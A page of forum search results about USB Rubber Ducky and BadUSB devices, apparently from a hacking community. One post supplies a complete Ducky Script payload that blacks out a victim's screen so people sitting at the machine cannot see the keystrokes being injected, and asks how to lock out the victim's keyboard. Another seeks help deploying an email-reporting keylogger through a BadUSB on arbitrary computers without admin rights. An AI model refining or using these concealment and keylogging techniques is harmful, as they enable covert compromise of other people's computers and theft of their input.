Search the Community
Showing results for tags 'usb rubber duck'.
Hey i'm new to all of this kind of stuff and i recently got a USB rubberducky, and the original inject.bin worked, but when i tried to load my own payload i got a solid red light. I went of the Hak5 website and tried most of the troubleshooting on what could be wrong and it still has a solid red light. Do yall have any suggestions that could help me out?
One of the problems I had with the ducky is that when typing a script on a target's pc it's really hard if there is a person in front of it. Instead of trying to create the command screen as small as possible so the targets won't see the screen, I've made it so big that they will think the monitor crashed or the cable fell out. The only thing you see now is a black screen and black text so the targets won't see any strings the ducky types. It also doesn't matter if the user clicks on somewhere on the screen with the mouse, because te whole screen is the command line. Here is the payload: REM Make Black Screen DELAY 1000 GUI r DELAY 100 STRING cmd CTRL-SHIFT ENTER DELAY 100 ALT y DELAY 100 STRING mode con: cols=30 lines=1 ALT SPACE UP ENTER DELAY 100 TAB SPACE SHIFT TAB SHIFT TAB STRING 5 SHIFT TAB RIGHT TAB UP TAB TAB TAB SHIFT TAB STRING 0 TAB STRING 0 TAB STRING 0 TAB TAB TAB TAB TAB DOWN DOWN DOWN TAB TAB TAB SHIFT TAB STRING 0 TAB STRING 0 TAB STRING 0 TAB TAB ENTER ALT ENTER REM Black Screen made! REM ***Disable keyboard & mice *** REM ***PAYLOAD**** One problem I had was to disable the targets keyboard (and mouse) so the target can't screw up the script/program the ducky is writing. It is a possibility that the target will freak out and push a lot of keys when they see a black screen. If anyone knows a sollution to this problem, please notify me.
I have a keylogger set to email logs to me on a USB drive, and a BadUSB that can run it on my home computer by navigating to the directory and opening it. However, because drive letters change from computer to computer, is there a way to make the script consistent? The drive letter on my computer is V, but obviously on other computers it could be anything. The BadUSB script opens the file through explorer by typing the drive letter, and I would like it to work on any computer, and not require admin access.
I created a sort of converter, that converts simple scripting commands to teensy C source. I've decided to write in Python since its cross-platform, and most *unix/Linux machines come with it installed. I have decided to do this because some people may already own a teensy, and want what a teensy can do, but sadly dont have the C experience that others may have. Heres a little screenshot of what gets outputted: I did not implement a default delay yet, so you have to be a tad bit more careful when executing multiple 'commands' one after the other. What do you guys think, any questions? I wanted to say, I know alot of people have done something like this. so dont be too mad since I decided to do it also :P I wasnt planning on sharing due to that fact, but I just felt like I had too.